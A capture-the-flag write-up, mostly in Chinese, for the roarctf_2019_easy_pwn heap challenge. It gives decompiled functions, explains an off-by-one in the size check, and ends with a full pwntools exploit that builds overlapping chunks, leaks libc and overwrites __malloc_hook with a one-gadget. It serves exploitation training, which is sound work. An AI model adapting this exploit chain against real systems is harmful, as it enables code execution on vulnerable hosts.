roarctf_2019_easy_pwn
main
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int choice; // [rsp+4h] [rbp-Ch]
__int64 savedregs; // [rsp+10h] [rbp+0h]
setvbuf_3();
while ( 1 )
{
menue();
choice = read_buf(choice);
switch ( (unsigned int)&savedregs )
{
case 1u:
add();
break;
case 2u:
puts("Tell me the secret about you!!");
edit();
break;
case 3u:
delete();
break;
case 4u:
show();
break;
case 5u:
return 0LL;
default:
puts("Wrong try again!!");
break;
}
}
}
add
__int64 add()
{
__int64 result; // rax
int v1; // ST0C_4
unsigned int i; // [rsp+4h] [rbp-1Ch]
int v3; // [rsp+8h] [rbp-18h]
signed int size; // [rsp+8h] [rbp-18h]
void *note; // [rsp+10h] [rbp-10h]
result = 0LL;
for ( i = 0; (signed int)i <= 15; ++i )
{
result = *((unsigned int *)&flag_list + 4 * (signed int)i);
if ( !(_DWORD)result )
{
printf("size: ");
size = read_buf(v3);
if ( size > 0 )
{
if ( size > 0x1000 )
size = 0x1000;
note = calloc(size, 1uLL);
if ( !note )
exit(-1);
*((_DWORD *)&flag_list + 4 * (signed int)i) = 1;
*((_DWORD *)&size_list + 4 * (signed int)i) = size;
note_list[2 * (signed int)i] = note;
v1 = note_list[2 * (signed int)i] & 0xFFF;
printf("the index of ticket is %d \n", i);
}
return i;
}
}
return result;
}
edit函数这里存在off by one漏洞,check_size函数里,如果我们edit时传入的size减去add时候的size=10,那么edit函数就会读入add时候的size+1个字节到chunk中。
__int64 edit()
{
int v1; // [rsp+Ch] [rbp-14h]
signed int flag; // [rsp+Ch] [rbp-14h]
signed int idx; // [rsp+10h] [rbp-10h]
int v4; // [rsp+14h] [rbp-Ch]
printf("index: ");
flag = read_buf(v1);
idx = flag;
if ( flag >= 0 && flag <= 15 )
{
flag = *((_DWORD *)&flag_list + 4 * flag);
if ( flag == 1 )
{
printf("size: ");
flag = read_buf(1);
v4 = check_size(*((_DWORD *)&size_list + 4 * idx), flag);// off by one
if ( flag > 0 )
{
printf("content: ", (unsigned int)flag);
flag = read_1_by_1(note_list[2 * idx], v4);
}
}
}
return (unsigned int)flag;
}
__int64 __fastcall check_size(signed int size, unsigned int our_size)
{
__int64 result; // rax
if ( size > (signed int)our_size )
return our_size;
if ( our_size - size == 10 )
LODWORD(result) = size + 1;
else
LODWORD(result) = size;
return (unsigned int)result;
}
delete函数
__int64 delete()
{
int idx; // eax
int v2; // [rsp+Ch] [rbp-14h]
int v3; // [rsp+10h] [rbp-10h]
__int64 v4; // [rsp+10h] [rbp-10h]
printf("index: ");
idx = read_buf(v3);
v4 = idx;
v2 = idx;
if ( idx >= 0LL && idx <= 15LL )
{
v4 = *((signed int *)&flag_list + 4 * idx);
if ( v4 == 1 )
{
*((_DWORD *)&flag_list + 4 * idx) = 0;
*((_DWORD *)&size_list + 4 * idx) = 0;
free((void *)note_list[2 * idx]);
note_list[2 * v2] = 0LL;
}
}
return v4;
}
show函数 ,使用write函数打印内容,不用担心00截断的问题
__int64 show()
{
int v1; // [rsp+0h] [rbp-10h]
signed int flag; // [rsp+0h] [rbp-10h]
signed int idx; // [rsp+4h] [rbp-Ch]
printf("index: ");
flag = read_buf(v1);
idx = flag;
if ( flag >= 0 && flag <= 15 )
{
flag = *((_DWORD *)&flag_list + 4 * flag);
if ( flag == 1 )
{
printf("content: ");
flag = write_1_by_1(note_list[2 * idx], *((_DWORD *)&size_list + 4 * idx));
}
}
return (unsigned int)flag;
}
这道题通过 offbyone来构造重叠chunk,达到任意地址分配chunk的效果,然后修改__realloc_hook地址处的内容为one gadget地址,修改malloc_hook地址处的内容为ralloc函数的地址+x,与这个题目l一样萌新详细调试[V&N2020 公开赛]simpleHeap,带你走进堆利用
完整exp
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
binary="./roarctf_2019_easy_pwn"
#sh=process(binary)
sh=remote("node3.buuoj.cn",28753)
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
cmd=lambda c:sh.sendlineafter("choice: ",str(c))
def add(size):
cmd(1)
sh.recvuntil('size: ')
sh.sendline(str(size))
def edit(idx,size,content):
cmd(2)
sh.recvuntil('index: ')
sh.sendline(str(idx))
sh.recvuntil('size: ')
sh.sendline(str(size))
sh.recvuntil('content: ')
sh.sendline(content)
def delete(index):
cmd(3)
sh.recvuntil('index: ')
sh.sendline(str(index))
def show(index):
cmd(4)
sh.recvuntil('index: ')
sh.sendline(str(index))
malloc_hook=libc.symbols['__malloc_hook']
realloc_hook=libc.symbols['realloc']
#gdb.attach(sh,"b calloc")
add(0x18)#idx0
add(0x10)#idx1
add(0x90)#idx2
add(0x10)#idx3
edit(0,34,'a'*0x10+p64(0x20)+p8(0xa1))#off by one
edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))#by pass check
delete(1)
add(0x90)#idx1 chunk overlap
edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))
delete(2)
show(1)
sh.recvuntil("content: ")
sh.recv(0x20)
libc_base=u64(sh.recv(6).ljust(8,"\x00"))-0x3c4b78
print "libc_base:"+hex(libc_base)
add(0x80)
edit(1,0x90,p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))
delete(2)
edit(1,0x30,p64(0)*2+p64(0)+p64(0x71)+p64(malloc_hook+libc_base-0x23)*2)
add(0x60)
add(0x60)#idx4
one_gadgets=[0x45216,0x4526a,0xf1147]
edit(4,27,'a'*11+p64(libc_base+one_gadgets[2])+p64(libc_base+realloc_hook+4))
add(0x60)
sh.interactive()